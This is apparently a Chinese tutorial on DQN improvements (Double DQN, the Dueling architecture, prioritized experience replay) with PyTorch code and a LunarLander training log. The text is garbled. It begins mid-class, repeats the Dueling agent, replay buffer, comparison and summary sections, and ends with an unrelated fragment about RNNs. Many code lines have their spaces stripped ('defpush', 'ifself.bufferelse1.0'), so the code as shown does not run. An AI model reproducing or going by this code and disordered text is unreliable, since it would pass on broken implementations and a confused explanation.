        # 我们需要以不同方式设置网络  
          
        self.state_dim=state_dim  
        self.action_dim=action_dim  
        self.gamma=kwargs.get('gamma', 0.99)  
        self.batch_size=kwargs.get('batch_size', 64)  
        self.target_update_freq=kwargs.get('target_update_freq', 10)  
        self.device=torch.device(kwargs.get('device', 'cpu'))  
          
        # 探索  
        self.epsilon=kwargs.get('epsilon_start', 1.0)  
        self.epsilon_end=kwargs.get('epsilon_end', 0.01)  
        self.epsilon_decay=kwargs.get('epsilon_decay', 0.995)  
          
        # 使用 Dueling 架构  
        self.q_network=DuelingQNetwork(  
            state_dim, action_dim, hidden_dims  
        ).to(self.device)  
          
        self.target_network=DuelingQNetwork(  
            state_dim, action_dim, hidden_dims  
        ).to(self.device)  
          
        self.target_network.load_state_dict(self.q_network.state_dict())  
        self.target_network.eval()  
          
        # 优化器  
        learning_rate=kwargs.get('learning_rate', 1e-3)  
        self.optimizer=torch.optim.Adam(self.q_network.parameters(), lr=learning_rate)  
          
        # 回放缓冲区  
        buffer_capacity=kwargs.get('buffer_capacity', 100000)  
        self.replay_buffer=ReplayBuffer(buffer_capacity)  
          
        # 统计  
        self.episode_count=0  
        self.training_step=0  
      
     # update() 方法继承自 DoubleDQNAgent

优先经验回放

不是所有经验都同等有价值。TD 误差大的转换说明预测偏离现实,能学到东西;TD 误差小的转换说明已经学得差不多了再采到也没多大用。

均匀采样把所有转换一视同仁,浪费了学习机会。优先经验回放的思路是:让重要的转换被采到的概率更高。

优先级怎么算

 pᵢ = |δᵢ| + ε  
 
 其中:  
 δᵢ = r + γ·max Q(s',a') - Q(s,a)   (TD 误差)  
 ε = 小常数,保证所有转换都有被采到的可能

采样概率:

  P(i) = pᵢ^α / Σⱼ pⱼ^α  
   
 α 控制优先化程度:  
 α = 0 -> 退化成均匀采样  
 α = 1 -> 完全按优先级比例采样

优先采样改了数据分布,会引入偏差。所以解决办法是用重要性采样比率来加权更新:

 wᵢ = (N · P(i))^(-β)  
   
 β 控制校正力度:  
 β = 0 -> 不校正  
 β = 1 -> 完全校正

通常 β 从 0.4 开始,随训练逐渐增大到 1.0。

实现

 classPrioritizedReplayBuffer:  
    """  
    优先经验回放缓冲区。  
      
    理论: 按 TD 误差比例采样转换。  
    我们可以从中学到更多的转换会被更频繁地采样。  
    """  
      
    def__init__(self, capacity: int, alpha: float=0.6, beta: float=0.4):  
        """  
        Args:  
            capacity: 缓冲区最大容量  
            alpha: 优先化指数(0=均匀, 1=比例)  
            beta: 重要性采样指数(退火到 1.0)  
        """  
        self.capacity=capacity  
        self.alpha=alpha  
        self.beta=beta  
        self.beta_increment=0.001  # 随时间退火 beta  
          
        self.buffer= []  
        self.priorities=np.zeros(capacity, dtype=np.float32)  
        self.position=0  
          
    defpush(self, state, action, reward, next_state, done):  
        """  
        以最大优先级添加转换。  
          
        理论: 新转换获得最大优先级(会很快被采样)。  
        它们的实际优先级在首次 TD 误差计算后更新。  
        """  
        max_priority=self.priorities.max() ifself.bufferelse1.0  
          
        iflen(self.buffer) <self.capacity:  
            self.buffer.append((state, action, reward, next_state, done))  
        else:  
            self.buffer[self.position] = (state, action, reward, next_state, done)  
          
        self.priorities[self.position] =max_priority  
        self.position= (self.position+1) %self.capacity  
      
    defsample(self, batch_size: int):  
        """  
        按优先级比例采样批次。  
          
        Returns:  
            batch: 采样的转换  
            indices: 采样转换的索引(用于优先级更新)  
            weights: 重要性采样权重  
        """  
        iflen(self.buffer) ==self.capacity:  
            priorities=self.priorities  
        else:  
            priorities=self.priorities[:len(self.buffer)]  
          
        # 计算采样概率  
        probs=priorities**self.alpha  
        probs/=probs.sum()  
          
        # 采样索引  
        indices=np.random.choice(len(self.buffer), batch_size, p=probs, replace=False)  
          
        # 获取转换  
        batch= [self.buffer[idx] foridxinindices]  
          
        # 计算重要性采样权重  
        total=len(self.buffer)  
        weights= (total*probs[indices]) ** (-self.beta)  
        weights/=weights.max()  # 归一化以保持稳定性  
          
        # 退火 beta  
        self.beta=min(1.0, self.beta+self.beta_increment)  
          
        # 转换为 tensor  
        states, actions, rewards, next_states, dones=zip(*batch)  
          
        states=torch.FloatTensor(np.array(states))  
        actions=torch.LongTensor(actions)  
        rewards=torch.FloatTensor(rewards)  
        next_states=torch.FloatTensor(np.array(next_states))  
        dones=torch.FloatTensor(dones)  
        weights=torch.FloatTensor(weights)  
          
        return (states, actions, rewards, next_states, dones), indices, weights  
      
    defupdate_priorities(self, indices, td_errors):  
        """  
        根据 TD 误差更新优先级。  
          
        Args:  
            indices: 采样转换的索引  
            td_errors: 那些转换的 TD 误差  
        """  
        foridx, td_errorinzip(indices, td_errors):  
            self.priorities[idx] =abs(td_error) +1e-6  
      
    def__len__(self):  
         returnlen(self.buffer)

生产环境会用 sum-tree 数据结构,采样复杂度是 O(log N) 而不是这里的 O(N)。这个简化版本以可读性为优先。

DQN 变体对比

几个变体各自解决什么问题呢?

DQN 是基线,用单一网络选动作、评估动作。它引入了目标网络来稳定"移动目标"问题,但容易过估计 Q 值,噪声让智能体去追逐根本不存在的"幽灵奖励"。

Double DQN 把选和评拆开。在线网络选动作,目标网络评估价值。实测下来能有效压低不切实际的 Q 值,学习曲线明显更平滑。

Dueling DQN 换了网络架构,单独学 V(s) 和 A(s,a)。它的核心认知是:很多状态下具体动作的影响不大。在 LunarLander 这种存在大量"冗余动作"的环境里,样本效率提升明显——不用为每次引擎脉冲都重新学状态值。

Double Dueling DQN 把两边的好处结合起来,既减少估计噪声,又提高表示效率。实测中这个组合最稳健,达到峰值性能的速度和可靠性都优于单一改进。

实践建议

变体选择对比

Double DQN 跑得比 DQN 还差?可能是训练不够长(Double DQN 起步偶尔慢一点),或者目标网络更新太频繁,或者学习率偏高。这时可以将训练时间翻倍,target_update_freq 调大,学习率砍 2-5 倍。

Dueling 架构没带来改善?可能是环境本身不适合(所有状态都很关键),或者网络太小,或者值流/优势流太浅。需要对网络加宽加深,确认环境里确实有"中性"状态。

PER 导致不稳定?可能是 β 退火太快、α 设太高、重要性采样权重没归一化。可以减慢 β 增量、α 降到 0.4-0.6、确认权重做了归一化。

首选 Double DQN 起步,代码改动极小,收益明确,没有额外复杂度。

什么时候加 Dueling:状态值比动作优势更重要的环境,大量状态下动作值差不多,需要更快收敛。

什么时候加 PER:样本效率至关重要,有算力预算(PER 比均匀采样慢),奖励稀疏(帮助关注少见的成功经验)。

最后Rainbow 把六项改进叠在一起:Double DQN、Dueling DQN、优先经验回放、多步学习(n-step returns)、分布式 RL(C51)、噪声网络(参数空间探索)。

多步学习把 1-step TD 换成 n-step 回报:

 # 1-step TD:  
 y = rₜ + γ·max Q(sₜ₊₁, a)  
   
 # n-step:  
 y = rₜ + γ·rₜ₊₁ + γ²·rₜ₊₂ + ... + γⁿ·max Q(sₜ₊ₙ, a)

好处是信用分配更清晰,学习更快。

小结

这篇文章从 DQN 的过估计问题讲起,沿着 Double DQN、Dueling 架构、优先经验回放等等介绍下来,每种改进对应一个具体的失败模式:max 算子的偏差、低效的状态-动作表示、浪费的均匀采样。

从头实现这些方法,能搞清楚它们为什么有效;很多"高级" RL 算法不过是简单想法的组合,理解这些想法本身才是真正可扩展的东西。

https://avoid.overfit.cn/post/4c5835f419d840b0acb0a1eb72f92b6f

作者: Jugal Gajjar

DQN 用

max Q(s',a')

计算目标值,等于在挑 Q 值最高的动作,但是这些动作中包括了那些因为估计噪声而被高估的动作,素以就会产生过估计偏差,直接后果是训练不稳定、策略次优。

这篇文章要解决的就是这个问题,内容包括:DQN 为什么会过估计、Double DQN 怎么把动作选择和评估拆开、Dueling DQN 怎么分离状态值和动作优势、优先经验回放如何让采样更聪明,以及用 PyTorch 从头实现这些改进。最后还会介绍一个 CleanRL 的专业实现。

过估计问题

DQN 的目标值如下:

 y = r + γ·maxₐ' Q(s', a'; θ⁻)

问题就在于,同一个网络既负责选动作(a* = argmax Q),又负责评估这个动作的价值。Q 值本身是带噪声的估计所以有时候噪声会让差动作的 Q 值偏高,取 max 操作天然偏向选那些被高估的动作。

数学上有个直观的解释:

 E[max(X₁, X₂, ..., Xₙ)] ≥ max(E[X₁], E[X₂], ..., E[Xₙ])

最大值的期望总是大于等于期望的最大值,这是凸函数的 Jensen 不等式。

过估计会导致收敛变慢,智能体把时间浪费在探索那些被高估的动作上。其次是策略质量打折扣,高噪声的动作可能比真正好的动作更受青睐。更糟的是过估计会不断累积,导致训练发散。泛化能力也会受损——在状态空间的噪声区域,智能体会表现得过于自信。

Double DQN:把选择和评估拆开

标准 DQN 一个网络干两件事:

 a* = argmaxₐ' Q(s', a'; θ⁻)  # 选最佳动作  
 y = r + γ · Q(s', a*; θ⁻)    # 评估这个动作(同一个网络)

Double DQN 用两个网络,各管一件:

 a* = argmaxₐ' Q(s', a'; θ)  # 用当前网络选  
 y = r + γ · Q(s', a*; θ⁻)   # 用目标网络评估

当前网络(θ)选动作,目标网络(θ⁻)评估。两个网络的误差不相关这样最大化偏差就被打破了。

为什么有效呢?

假设当前网络把动作 a 的价值估高了,目标网络(参数不同)大概率不会犯同样的错。误差相互独立,倾向于抵消而非累加。

最通俗的解释就是DQN 像是自己给菜打分、自己挑菜吃,这样烂菜可能就混进来了,而Double DQN 让朋友打分、你来挑,两边的误差对冲掉了。

  Standard DQN:  E[Q(s, argmaxₐ Q(s,a))] ≥ maxₐ E[Q(s,a)]   (有偏)  
 Double DQN:    E[Q₂(s, argmaxₐ Q₁(s,a))] ≈ maxₐ E[Q(s,a)]  (无偏)

从 DQN 到 Double DQN,只需要改一行:

 # DQN 目标  
next_q_values=target_network(next_states).max(1)[0]  
target=rewards+gamma*next_q_values* (1-dones)  

# Double DQN 目标  
next_actions=current_network(next_states).argmax(1)  # <- 用当前网络选  
next_q_values=target_network(next_states).gather(1, next_actions.unsqueeze(1))  # <- 用目标网络评估  
 target=rewards+gamma*next_q_values.squeeze() * (1-dones)

就这一行改动极小,效果却很明显。

实现:Double DQN

扩展 DQN Agent

 classDoubleDQNAgent(DQNAgent):  
    """  
    Double DQN: 通过解耦动作选择和评估来减少过估计偏差。  
    """  
      
    def__init__(self, *args, **kwargs):  
        """  
        初始化 Double DQN agent。  
        从 DQN 继承所有内容,只改变目标计算。  
        """  
        super().__init__(*args, **kwargs)  
      
    defupdate(self) ->Dict[str, float]:  
        """  
        执行 Double DQN 更新。  
          
        Returns:  
            metrics: 训练指标  
        """  
        iflen(self.replay_buffer) <self.batch_size:  
            return {}  
          
        # 采样批次  
        states, actions, rewards, next_states, dones=self.replay_buffer.sample(  
            self.batch_size  
        )  
          
        states=states.to(self.device)  
        actions=actions.to(self.device)  
        rewards=rewards.to(self.device)  
        next_states=next_states.to(self.device)  
        dones=dones.to(self.device)  
          
        # 当前 Q 值 Q(s,a;θ)  
        current_q_values=self.q_network(states).gather(1, actions.unsqueeze(1))  
          
        # Double DQN 目标计算  
        withtorch.no_grad():  
            # 使用当前网络选择动作  
            next_actions=self.q_network(next_states).argmax(1)  
              
            # 使用目标网络评估动作  
            next_q_values=self.target_network(next_states).gather(  
                1, next_actions.unsqueeze(1)  
            ).squeeze()  
              
            # 计算目标  
            target_q_values=rewards+ (1-dones) *self.gamma*next_q_values  
          
        # 计算损失  
        loss=F.mse_loss(current_q_values.squeeze(), target_q_values)  
          
        # 梯度下降  
        self.optimizer.zero_grad()  
        loss.backward()  
        torch.nn.utils.clip_grad_norm_(self.q_network.parameters(), max_norm=10.0)  
        self.optimizer.step()  
          
        self.training_step+=1  
          
        return {  
            'loss': loss.item(),  
            'q_mean': current_q_values.mean().item(),  
            'q_std': current_q_values.std().item(),  
            'target_q_mean': target_q_values.mean().item()  
         }

训练函数:

 deftrain_double_dqn(  
    env_name: str,  
    n_episodes: int=1000,  
    max_steps: int=500,  
    train_freq: int=1,  
    eval_frequency: int=50,  
    eval_episodes: int=10,  
    verbose: bool=True,  
    **kwargs  
) ->Tuple:  
    """  
    训练 Double DQN agent(使用 DoubleDQNAgent 而不是 DQNAgent)。  
    """  
    # 与 train_dqn 相同但使用 DoubleDQNAgent  
    env=gym.make(env_name)  
    eval_env=gym.make(env_name)  
      
    state_dim=env.observation_space.shape[0]  
    action_dim=env.action_space.n  
      
    # 使用 DoubleDQNAgent  
    agent=DoubleDQNAgent(  
        state_dim=state_dim,  
        action_dim=action_dim,  
        **kwargs  
    )  
      
    # 训练循环(与 DQN 相同)  
    stats= {  
        'episode_rewards': [],  
        'episode_lengths': [],  
        'losses': [],  
        'q_values': [],  
        'target_q_values': [],  
        'eval_rewards': [],  
        'eval_episodes': [],  
        'epsilons': []  
    }  
      
    print(f"Training Double DQN on {env_name}")  
    print(f"State dim: {state_dim}, Action dim: {action_dim}")  
    print("="*70)  
      
    forepisodeinrange(n_episodes):  
        state, _=env.reset()  
        episode_reward=0  
        episode_length=0  
        episode_metrics= []  
          
        forstepinrange(max_steps):  
            action=agent.select_action(state, training=True)  
            next_state, reward, terminated, truncated, _=env.step(action)  
            done=terminatedortruncated  
              
            agent.store_transition(state, action, reward, next_state, done)  
              
            ifstep%train_freq==0:  
                metrics=agent.update()  
                ifmetrics:  
                    episode_metrics.append(metrics)  
              
            episode_reward+=reward  
            episode_length+=1  
            state=next_state  
              
            ifdone:  
                break  
          
        # 更新目标网络  
        if (episode+1) %kwargs.get('target_update_freq', 10) ==0:  
            agent.update_target_network()  
          
        agent.decay_epsilon()  
          
        # 存储统计信息  
        stats['episode_rewards'].append(episode_reward)  
        stats['episode_lengths'].append(episode_length)  
        stats['epsilons'].append(agent.epsilon)  
          
        ifepisode_metrics:  
            stats['losses'].append(np.mean([m['loss'] forminepisode_metrics]))  
            stats['q_values'].append(np.mean([m['q_mean'] forminepisode_metrics]))  
            stats['target_q_values'].append(np.mean([m['target_q_mean'] forminepisode_metrics]))  
          
        # 评估  
        if (episode+1) %eval_frequency==0:  
            eval_reward=evaluate_dqn(eval_env, agent, eval_episodes)  
            stats['eval_rewards'].append(eval_reward)  
            stats['eval_episodes'].append(episode+1)  
              
            ifverbose:  
                avg_reward=np.mean(stats['episode_rewards'][-50:])  
                avg_loss=np.mean(stats['losses'][-50:]) ifstats['losses'] else0  
                avg_q=np.mean(stats['q_values'][-50:]) ifstats['q_values'] else0  
                  
                print(f"Episode {episode+1:4d} | "  
                      f"Reward: {avg_reward:7.2f} | "  
                      f"Eval: {eval_reward:7.2f} | "  
                      f"Loss: {avg_loss:7.4f} | "  
                      f"Q: {avg_q:6.2f} | "  
                      f"ε: {agent.epsilon:.3f}")  
      
    env.close()  
    eval_env.close()  
      
    print("="*70)  
    print("Training complete!")  
      
     returnagent, stats

LunarLander-v3

 # 训练 Double DQN  
if__name__=="__main__":  
    device='cuda'iftorch.cuda.is_available() else'cpu'  
      
    agent_ddqn, stats_ddqn=train_double_dqn(  
        env_name='LunarLander-v3',  
        n_episodes=4000,  
        max_steps=1000,  
        learning_rate=5e-4,  
        gamma=0.99,  
        epsilon_start=1.0,  
        epsilon_end=0.01,  
        epsilon_decay=0.9995,  
        buffer_capacity=100000,  
        batch_size=128,  
        target_update_freq=20,  
        train_freq=4,  
        eval_frequency=100,  
        eval_episodes=10,  
        hidden_dims=[256, 256],  
        device=device,  
        verbose=True  
    )  

    # 保存模型  
     agent_ddqn.save('doubledqn_lunar_lander.pth')

输出:

  Training Double DQN on LunarLander-v3  
State dim: 8, Action dim: 4  
======================================================================  
Episode  100 | Reward: -155.24 | Eval: -885.72 | Loss: 52.9057 | Q:   0.20 | ε: 0.951  
Episode  200 | Reward: -148.85 | Eval:  -85.94 | Loss: 37.2449 | Q:   2.14 | ε: 0.905  
Episode  300 | Reward: -111.61 | Eval: -172.48 | Loss: 37.4279 | Q:   3.52 | ε: 0.861  
Episode  400 | Reward:  -99.21 | Eval: -198.43 | Loss: 41.5296 | Q:   8.15 | ε: 0.819  
Episode  500 | Reward:  -80.75 | Eval: -103.26 | Loss: 56.2701 | Q:  11.70 | ε: 0.779  
...  
Episode 3200 | Reward:  102.04 | Eval:  159.71 | Loss: 16.5263 | Q:  27.94 | ε: 0.202  
Episode 3300 | Reward:  140.37 | Eval:  191.79 | Loss: 22.5564 | Q:  29.81 | ε: 0.192  
Episode 3400 | Reward:  114.08 | Eval:  269.40 | Loss: 23.2846 | Q:  32.40 | ε: 0.183  
Episode 3500 | Reward:  166.33 | Eval:  244.32 | Loss: 21.8558 | Q:  32.51 | ε: 0.174  
Episode 3600 | Reward:  150.80 | Eval:  265.42 | Loss: 21.6430 | Q:  33.18 | ε: 0.165  
Episode 3700 | Reward:  148.59 | Eval:  239.56 | Loss: 23.8328 | Q:  34.65 | ε: 0.157  
Episode 3800 | Reward:  162.82 | Eval:  233.36 | Loss: 28.3445 | Q:  37.46 | ε: 0.149  
Episode 3900 | Reward:  177.70 | Eval:  259.99 | Loss: 36.2971 | Q:  40.22 | ε: 0.142  
Episode 4000 | Reward:  156.60 | Eval:  251.17 | Loss: 46.7266 | Q:  42.15 | ε: 0.135  
======================================================================  
 Training complete!

Dueling DQN:分离值和优势

很多状态下,选哪个动作其实差别不大。CartPole 里杆子刚好平衡时,向左向右都行;开车走直线方向盘微调的结果差不多;LunarLander 离地面还远的时候,引擎怎么喷影响也有限。

标准 DQN 对每个动作单独学 Q(s,a),把网络容量浪费在冗余信息上。Dueling DQN 的思路是把 Q 拆成两部分:V(s) 表示"这个状态本身值多少",A(s,a) 表示"这个动作比平均水平好多少"。

架构如下

 标准 DQN:  
 Input -> Hidden Layers -> Q(s,a₁), Q(s,a₂), ..., Q(s,aₙ)  

Dueling DQN:  
                       |-> Value Stream -> V(s)  
Input -> Shared Layers |  
                       |-> Advantage Stream -> A(s,a₁), A(s,a₂), ..., A(s,aₙ)  
                      
 Q(s,a) = V(s) + (A(s,a) - mean(A(s,·)))

为什么要减去均值?不减的话,任何常数加到 V 再从 A 减掉,得到的 Q 完全一样,网络学不出唯一解。

数学表达如下:

 Q(s,a) = V(s) + A(s,a) - (1/|A|)·Σₐ' A(s,a')

也可以用 max 代替 mean:

 Q(s,a) = V(s) + A(s,a) - maxₐ' A(s,a')

实践中 max 版本有时效果更好。

举个例子:V(s) = 10,好动作的 A 是 +5,差动作的 A 是 -3,平均优势 = (+5-3)/2 = +1。那么 Q(s, 好动作) = 10 + 5 - 1 = 14,Q(s, 差动作) = 10 - 3 - 1 = 6。

实现

 classDuelingQNetwork(nn.Module):  
    """  
    Dueling DQN 架构,分离值和优势。  
      
    理论: Q(s,a) = V(s) + A(s,a) - mean(A(s,·))  
    """  
      
    def__init__(  
        self,  
        state_dim: int,  
        action_dim: int,  
        hidden_dims: List[int] = [128, 128]  
    ):  
        """  
        初始化 Dueling Q 网络。  
          
        Args:  
            state_dim: 状态空间维度  
            action_dim: 动作数量  
            hidden_dims: 共享层大小  
        """  
        super(DuelingQNetwork, self).__init__()  
          
        self.state_dim=state_dim  
        self.action_dim=action_dim  
          
        # 共享特征提取器  
        shared_layers= []  
        input_dim=state_dim  
          
        forhidden_diminhidden_dims:  
            shared_layers.append(nn.Linear(input_dim, hidden_dim))  
            shared_layers.append(nn.ReLU())  
            input_dim=hidden_dim  
          
        self.shared_network=nn.Sequential(*shared_layers)  
          
        # 值流: V(s) = 状态的标量值  
        self.value_stream=nn.Sequential(  
            nn.Linear(hidden_dims[-1], 128),  
            nn.ReLU(),  
            nn.Linear(128, 1)  
        )  
          
        # 优势流: A(s,a) = 每个动作的优势  
        self.advantage_stream=nn.Sequential(  
            nn.Linear(hidden_dims[-1], 128),  
            nn.ReLU(),  
            nn.Linear(128, action_dim)  
        )  
          
        # 初始化权重  
        self.apply(self._init_weights)  
      
    def_init_weights(self, module):  
        """初始化网络权重。"""  
        ifisinstance(module, nn.Linear):  
            nn.init.kaiming_normal_(module.weight, nonlinearity='relu')  
            nn.init.constant_(module.bias, 0.0)  
      
    defforward(self, state: torch.Tensor) ->torch.Tensor:  
        """  
        通过 dueling 架构的前向传播。  
          
        Args:  
            state: 状态批次, 形状 (batch_size, state_dim)  
          
        Returns:  
            q_values: 所有动作的 Q(s,a), 形状 (batch_size, action_dim)  
        """  
        # 共享特征  
        features=self.shared_network(state)  
          
        # 值: V(s) -> 形状 (batch_size, 1)  
        value=self.value_stream(features)  
          
        # 优势: A(s,a) -> 形状 (batch_size, action_dim)  
        advantages=self.advantage_stream(features)  
          
        # 组合: Q(s,a) = V(s) + A(s,a) - mean(A(s,·))  
        q_values=value+advantages-advantages.mean(dim=1, keepdim=True)  
          
        returnq_values  
      
    defget_action(self, state: np.ndarray, epsilon: float=0.0) ->int:  
        """  
        使用 ε-greedy 策略选择动作。  
        """  
        ifrandom.random() <epsilon:  
            returnrandom.randint(0, self.action_dim-1)  
        else:  
            withtorch.no_grad():  
                state_tensor=torch.FloatTensor(state).unsqueeze(0).to(  
                    next(self.parameters()).device  
                )  
                q_values=self.forward(state_tensor)  
                 returnq_values.argmax(dim=1).item()

Dueling 架构的好处:在动作影响不大的状态下学得更好,梯度流动更通畅所以收敛更快,值估计也更稳健。

还可以把两种改进叠在一起,做成Double Dueling DQN

 classDoubleDuelingDQNAgent(DoubleDQNAgent):  
    """  
    结合 Double DQN 和 Dueling DQN 的智能体。  
    """  
      
    def__init__(  
        self,  
        state_dim: int,  
        action_dim: int,  
        hidden_dims: List[int] = [128, 128],  
        **kwargs  
    ):  
        """  
        初始化 Double Dueling DQN 智能体。  
        使用 DuelingQNetwork 而不是标准 QNetwork。  
        """  
        # 暂不调用 super().__init__()  
        # 我们需要以不同方式设置网络  
          
        self.state_dim=state_dim  
        self.action_dim=action_dim  
        self.gamma=kwargs.get('gamma', 0.99)  
        self.batch_size=kwargs.get('batch_size', 64)  
        self.target_update_freq=kwargs.get('target_update_freq', 10)  
        self.device=torch.device(kwargs.get('device', 'cpu'))  
          
        # 探索  
        self.epsilon=kwargs.get('epsilon_start', 1.0)  
        self.epsilon_end=kwargs.get('epsilon_end', 0.01)  
        self.epsilon_decay=kwargs.get('epsilon_decay', 0.995)  
          
        # 使用 Dueling 架构  
        self.q_network=DuelingQNetwork(  
            state_dim, action_dim, hidden_dims  
        ).to(self.device)  
          
        self.target_network=DuelingQNetwork(  
            state_dim, action_dim, hidden_dims  
        ).to(self.device)  
          
        self.target_network.load_state_dict(self.q_network.state_dict())  
        self.target_network.eval()  
          
        # 优化器  
        learning_rate=kwargs.get('learning_rate', 1e-3)  
        self.optimizer=torch.optim.Adam(self.q_network.parameters(), lr=learning_rate)  
          
        # 回放缓冲区  
        buffer_capacity=kwargs.get('buffer_capacity', 100000)  
        self.replay_buffer=ReplayBuffer(buffer_capacity)  
          
        # 统计  
        self.episode_count=0  
        self.training_step=0  
      
     # update() 方法继承自 DoubleDQNAgent

优先经验回放

不是所有经验都同等有价值。TD 误差大的转换说明预测偏离现实,能学到东西;TD 误差小的转换说明已经学得差不多了再采到也没多大用。

均匀采样把所有转换一视同仁,浪费了学习机会。优先经验回放的思路是:让重要的转换被采到的概率更高。

优先级怎么算

 pᵢ = |δᵢ| + ε  
 
 其中:  
 δᵢ = r + γ·max Q(s',a') - Q(s,a)   (TD 误差)  
 ε = 小常数,保证所有转换都有被采到的可能

采样概率:

  P(i) = pᵢ^α / Σⱼ pⱼ^α  
   
 α 控制优先化程度:  
 α = 0 -> 退化成均匀采样  
 α = 1 -> 完全按优先级比例采样

优先采样改了数据分布,会引入偏差。所以解决办法是用重要性采样比率来加权更新:

 wᵢ = (N · P(i))^(-β)  
   
 β 控制校正力度:  
 β = 0 -> 不校正  
 β = 1 -> 完全校正

通常 β 从 0.4 开始,随训练逐渐增大到 1.0。

实现

 classPrioritizedReplayBuffer:  
    """  
    优先经验回放缓冲区。  
      
    理论: 按 TD 误差比例采样转换。  
    我们可以从中学到更多的转换会被更频繁地采样。  
    """  
      
    def__init__(self, capacity: int, alpha: float=0.6, beta: float=0.4):  
        """  
        Args:  
            capacity: 缓冲区最大容量  
            alpha: 优先化指数(0=均匀, 1=比例)  
            beta: 重要性采样指数(退火到 1.0)  
        """  
        self.capacity=capacity  
        self.alpha=alpha  
        self.beta=beta  
        self.beta_increment=0.001  # 随时间退火 beta  
          
        self.buffer= []  
        self.priorities=np.zeros(capacity, dtype=np.float32)  
        self.position=0  
          
    defpush(self, state, action, reward, next_state, done):  
        """  
        以最大优先级添加转换。  
          
        理论: 新转换获得最大优先级(会很快被采样)。  
        它们的实际优先级在首次 TD 误差计算后更新。  
        """  
        max_priority=self.priorities.max() ifself.bufferelse1.0  
          
        iflen(self.buffer) <self.capacity:  
            self.buffer.append((state, action, reward, next_state, done))  
        else:  
            self.buffer[self.position] = (state, action, reward, next_state, done)  
          
        self.priorities[self.position] =max_priority  
        self.position= (self.position+1) %self.capacity  
      
    defsample(self, batch_size: int):  
        """  
        按优先级比例采样批次。  
          
        Returns:  
            batch: 采样的转换  
            indices: 采样转换的索引(用于优先级更新)  
            weights: 重要性采样权重  
        """  
        iflen(self.buffer) ==self.capacity:  
            priorities=self.priorities  
        else:  
            priorities=self.priorities[:len(self.buffer)]  
          
        # 计算采样概率  
        probs=priorities**self.alpha  
        probs/=probs.sum()  
          
        # 采样索引  
        indices=np.random.choice(len(self.buffer), batch_size, p=probs, replace=False)  
          
        # 获取转换  
        batch= [self.buffer[idx] foridxinindices]  
          
        # 计算重要性采样权重  
        total=len(self.buffer)  
        weights= (total*probs[indices]) ** (-self.beta)  
        weights/=weights.max()  # 归一化以保持稳定性  
          
        # 退火 beta  
        self.beta=min(1.0, self.beta+self.beta_increment)  
          
        # 转换为 tensor  
        states, actions, rewards, next_states, dones=zip(*batch)  
          
        states=torch.FloatTensor(np.array(states))  
        actions=torch.LongTensor(actions)  
        rewards=torch.FloatTensor(rewards)  
        next_states=torch.FloatTensor(np.array(next_states))  
        dones=torch.FloatTensor(dones)  
        weights=torch.FloatTensor(weights)  
          
        return (states, actions, rewards, next_states, dones), indices, weights  
      
    defupdate_priorities(self, indices, td_errors):  
        """  
        根据 TD 误差更新优先级。  
          
        Args:  
            indices: 采样转换的索引  
            td_errors: 那些转换的 TD 误差  
        """  
        foridx, td_errorinzip(indices, td_errors):  
            self.priorities[idx] =abs(td_error) +1e-6  
      
    def__len__(self):  
         returnlen(self.buffer)

生产环境会用 sum-tree 数据结构,采样复杂度是 O(log N) 而不是这里的 O(N)。这个简化版本以可读性为优先。

DQN 变体对比

几个变体各自解决什么问题呢?

DQN 是基线,用单一网络选动作、评估动作。它引入了目标网络来稳定"移动目标"问题,但容易过估计 Q 值,噪声让智能体去追逐根本不存在的"幽灵奖励"。

Double DQN 把选和评拆开。在线网络选动作,目标网络评估价值。实测下来能有效压低不切实际的 Q 值,学习曲线明显更平滑。

Dueling DQN 换了网络架构,单独学 V(s) 和 A(s,a)。它的核心认知是:很多状态下具体动作的影响不大。在 LunarLander 这种存在大量"冗余动作"的环境里,样本效率提升明显——不用为每次引擎脉冲都重新学状态值。

Double Dueling DQN 把两边的好处结合起来,既减少估计噪声,又提高表示效率。实测中这个组合最稳健,达到峰值性能的速度和可靠性都优于单一改进。

实践建议

变体选择对比

Double DQN 跑得比 DQN 还差?可能是训练不够长(Double DQN 起步偶尔慢一点),或者目标网络更新太频繁,或者学习率偏高。这时可以将训练时间翻倍,target_update_freq 调大,学习率砍 2-5 倍。

Dueling 架构没带来改善?可能是环境本身不适合(所有状态都很关键),或者网络太小,或者值流/优势流太浅。需要对网络加宽加深,确认环境里确实有"中性"状态。

PER 导致不稳定?可能是 β 退火太快、α 设太高、重要性采样权重没归一化。可以减慢 β 增量、α 降到 0.4-0.6、确认权重做了归一化。

首选 Double DQN 起步,代码改动极小,收益明确,没有额外复杂度。

什么时候加 Dueling:状态值比动作优势更重要的环境,大量状态下动作值差不多,需要更快收敛。

什么时候加 PER:样本效率至关重要,有算力预算(PER 比均匀采样慢),奖励稀疏(帮助关注少见的成功经验)。

最后Rainbow 把六项改进叠在一起:Double DQN、Dueling DQN、优先经验回放、多步学习(n-step returns)、分布式 RL(C51)、噪声网络(参数空间探索)。

多步学习把 1-step TD 换成 n-step 回报:

 # 1-step TD:  
 y = rₜ + γ·max Q(sₜ₊₁, a)  
   
 # n-step:  
 y = rₜ + γ·rₜ₊₁ + γ²·rₜ₊₂ + ... + γⁿ·max Q(sₜ₊ₙ, a)

好处是信用分配更清晰,学习更快。

小结

这篇文章从 DQN 的过估计问题讲起,沿着 Double DQN、Dueling 架构、优先经验回放等等介绍下来,每种改进对应一个具体的失败模式:max 算子的偏差、低效的状态-动作表示、浪费的均匀采样。

从头实现这些方法,能搞清楚它们为什么有效;很多"高级" RL 算法不过是简单想法的组合,理解这些想法本身才是真正可扩展的东西。

https://avoid.overfit.cn/post/4c5835f419d840b0acb0a1eb72f92b6f

作者: Jugal Gajjar

RNN 简介

RNN(Recurrent Neural Network,循环神经网络)一般以序列数据为输入,通过网络内部的结构设计有效捕捉序列之间的关系特征,一般也以序列形式输出。

RNN 的循环机制使模型隐层上一时间步产生的结果,能够作为当下时间步输入的一部分(当下时间步的输入除了正常的输入外还包括上一步的隐层输出)对当下时间步的输出产生影响。

  • 结构:三层(输入层、隐藏层、输出层;循环发生在隐藏层)

1.1 RNN 模型的作用

因为 RNN 结构能够很好利用序列之间的关系,因此针对自然界具有连续性的输入序列,如人类的语言、语音等进行很好处理,广泛应用于 NLP(自然语言处理)领域的各项任务,如文本分类、情感分析、意图识别、机器翻译等。

语言处理示例

2.1 PyTorch 中传统 RNN 的使用

位置:在 torch.nn 中,通过 torch.nn.RNN 可调用。

import torch
import torch.nn as nn

rnn = nn.RNN(5, 6, 2)  # 实例化 rnn 对象
# 参数1:输入张量 x 的维度 - input_size
# 参数2:隐藏层的维度(隐藏层神经元个数)- hidden_size
# 参数3:隐藏层的层数 - num_layers

# torch.randn - 随机产生正态分布的随机数
